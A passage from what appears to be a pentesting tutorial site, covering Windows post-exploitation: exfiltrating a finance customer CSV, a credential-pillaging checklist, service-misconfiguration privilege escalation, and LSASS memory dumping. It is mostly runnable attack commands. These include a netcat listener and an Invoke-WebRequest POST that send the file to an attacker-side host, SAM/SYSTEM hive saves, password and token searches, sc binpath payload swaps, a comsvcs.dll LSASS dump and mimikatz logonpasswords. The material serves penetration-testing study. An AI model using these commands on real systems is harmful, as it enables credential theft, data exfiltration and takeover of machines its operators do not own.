Import-Csv C:\Shares\Finance\customer_database.csv | Select-Object -First 5
(Import-Csv C:\Shares\Finance\customer_database.csv).Count # how many records
```
### Exfiltrate It
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Option 1 — pull it down via your SMB share or evil-winrm's download
# (in evil-winrm:) download C:\Shares\Finance\customer_database.csv
# Option 2 — host a listener on Kali and push from the target
# On Kali:
nc -lvnp 4444 > customer_database.csv
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# On the target — send the file to your listener
# (PowerShell file transfer to your Kali web server)
Invoke-WebRequest -Uri "http://10.10.14.1:8000/upload" -Method POST -InFile "C:\Shares\Finance\customer_database.csv"
```
### Why This Matters — Impact & Reporting
This is where pentesting connects to the real world. That CSV isn't just a flag — it represents:
* **PII exposure** — names, addresses, payment data. Under **GDPR**, a breach of this data can mean fines up to 4% of global annual revenue
* **Demonstrated business impact** — "we got admin" is abstract; "we exfiltrated 40,000 customer records including payment details" is a board-level conversation
* **The evidence that justifies the engagement** — proving real data was reachable is what drives organizations to fix things
In a real engagement, **do not actually exfiltrate** sensitive PII unless your
rules of engagement explicitly permit it. Usually you prove access — a
screenshot of the first few rows, the record count, the file path and
permissions — without removing the data. Removing real customer data can
itself create legal liability. Know your ROE.
***
## Pillaging Checklist
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
:: AUTOMATED FIRST
winPEASx64.exe
:: SENSITIVE FILES BY NAME
dir c:\*password* c:\*secret* c:\*.kdbx c:\*.csv /s /b
:: CREDENTIALS IN FILE CONTENTS
findstr /s /i /m "password connectionstring pwd=" c:\*.config c:\*.xml c:\*.ini
:: UNATTENDED INSTALL FILES
dir c:\Windows\Panther\Unattend.xml /s /b
:: STORED CREDENTIALS
cmdkey /list
:: SAM / SYSTEM HIVES (needs admin/SeBackup)
reg save HKLM\SAM C:\Users\Public\sam.save
reg save HKLM\SYSTEM C:\Users\Public\system.save
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# POWERSHELL HISTORY
Get-Content (Get-PSReadlineOption).HistorySavePath
# APPDATA CREDENTIAL HUNT
Get-ChildItem C:\Users\*\AppData -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|token|apikey" -ErrorAction SilentlyContinue
```
***
*Next: [Windows Security Mechanisms](/tech/windows/security-mechanisms) — UAC, AppLocker, Defender, and the defenses you'll work around.*
# Processes services
Source: https://hackbook.dudji.com/tech/windows/processes-services
## The Mindset
Processes and services matter for the same reasons they do on Linux, plus a Windows-specific bonus:
* **Attack surface** — services running as SYSTEM with known vulnerabilities
* **Credential exposure** — passwords passed as process arguments, credentials in memory (LSASS)
* **Service misconfigurations** — weak permissions on the service itself, its binary, or its registry key → run your code as SYSTEM
***
## Processes
### Listing Processes
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Basic process list
tasklist
# Verbose — includes the user context each process runs as
tasklist /v
# Show which services are hosted in each process
tasklist /svc
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# PowerShell — richer object output
Get-Process
# Include the owning user (needs elevation for other users' processes)
Get-Process -IncludeUserName
# Processes with their full command lines (credential hunting)
Get-WmiObject Win32_Process | Select-Object Name, ProcessId, CommandLine
```
`tasklist /v` shows the user each process runs as — spot anything running as a
high-privilege account that you might be able to interact with or inject into.
Processes running as SYSTEM are the prize.
### Hunting Credentials in Process Arguments
Just like `ps aux` on Linux, Windows processes often have passwords passed as arguments:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# CMD via wmic
wmic process get name,commandline | findstr /i "pass pwd cred"
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# PowerShell
Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match "pass|pwd|cred|key" } | Select-Object Name, CommandLine
```
***
## Services
A Windows service is a background program managed by the Service Control Manager (SCM). Each service has:
* A **name** and display name
* A **binary path** (the executable it runs)
* A **start mode** (Auto, Manual, Disabled)
* A **service account** it runs as — often `LocalSystem` (SYSTEM), `LocalService`, or `NetworkService`
### Listing Services
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All services and their state
sc query
# Detailed config for one service (binary path, account, start mode)
sc qc
# Via wmic — name, account, binary path, start mode in one shot
wmic service get name,startname,pathname,startmode
```
```powershell theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All services
Get-Service
# Service details including the account it runs as and its binary path
Get-WmiObject Win32_Service | Select-Object Name, StartName, PathName, StartMode, State
```
***
## Service Misconfigurations — The Escalation Paths
There are four classic service misconfigs. Each one ends with your code running as the service account (usually SYSTEM).
### 1. Weak Service Permissions
If your user can change a service's configuration, you can repoint its binary to your own payload.
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check service permissions with accesschk (Sysinternals)
accesschk.exe -uwcqv "user"
# Look for SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS in the output
```
The service's permissions are stored as an SDDL string. View it with:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
sc sdshow
```
If you have `SERVICE_CHANGE_CONFIG`, repoint the binary and restart:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Point the service at your payload
sc config binpath= "C:\Users\Public\payload.exe"
# Restart the service to trigger it (runs as the service account)
sc stop
sc start
```
Note the space after `binpath=` — `sc config` requires a space between the `=`
and the value, or it silently fails. This trips people up constantly.
### 2. Weak Service Binary Permissions
If you can't change the service config but you *can* overwrite the binary it runs, do that instead:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find the binary path
sc qc
# Check if you can write to it
icacls "C:\Path\To\service.exe"
accesschk.exe -quvw "C:\Path\To\service.exe"
# If writable — replace it with your payload, then restart the service
```
### 3. Unquoted Service Paths
If a service's binary path has spaces and **isn't wrapped in quotes**, Windows searches each space-delimited segment in order. You exploit this by planting a payload at one of the earlier paths.
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find unquoted paths with spaces
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Example vulnerable path:
# C:\Program Files\Some App\service.exe (no quotes, has a space)
```
For `C:\Program Files\Some App\service.exe`, Windows tries in order:
```
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some App\service.exe
```
If you can write to `C:\` or `C:\Program Files\`, drop a payload named `Program.exe` or `Some.exe` and it runs instead of the real binary.
### 4. Weak Registry Permissions
Service config lives in the registry under `HKLM\SYSTEM\CurrentControlSet\Services\`. If you can write to a service's key, you can change its `ImagePath`:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check permissions on a service's registry key
accesschk.exe -uvwqk "user" "HKLM\System\CurrentControlSet\Services\"
```
**winPEAS** automates the discovery of all four of these misconfigs in one
run. Run it first, then manually verify and exploit whatever it flags. It's
covered on the [Pillaging](/tech/windows/pillaging) page.
***
## Scheduled Tasks
Covered briefly in [System Enumeration](/tech/windows/system-enumeration), but worth repeating in the escalation context. A task that runs as Administrator/SYSTEM and executes a script you can write to is the same win as a service misconfig.
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List all tasks in detail
schtasks /query /fo LIST /v
# Look for: "Run As User: SYSTEM" or "Administrator"
# Then check the script's permissions with icacls
```
***
## LSASS — Dumping Credentials from Memory
The **Local Security Authority Subsystem Service** (`lsass.exe`) handles authentication and holds credentials in memory — password hashes, Kerberos tickets, and sometimes plaintext passwords. Dumping it is a primary credential-theft technique. Requires admin/SYSTEM (or `SeDebugPrivilege`).
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Dump LSASS memory with built-in tools (comsvcs.dll)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump C:\Users\Public\lsass.dmp full
```
Once you have the dump, extract credentials offline with mimikatz or pypykatz:
```cmd theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# mimikatz, on the dump file
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords
```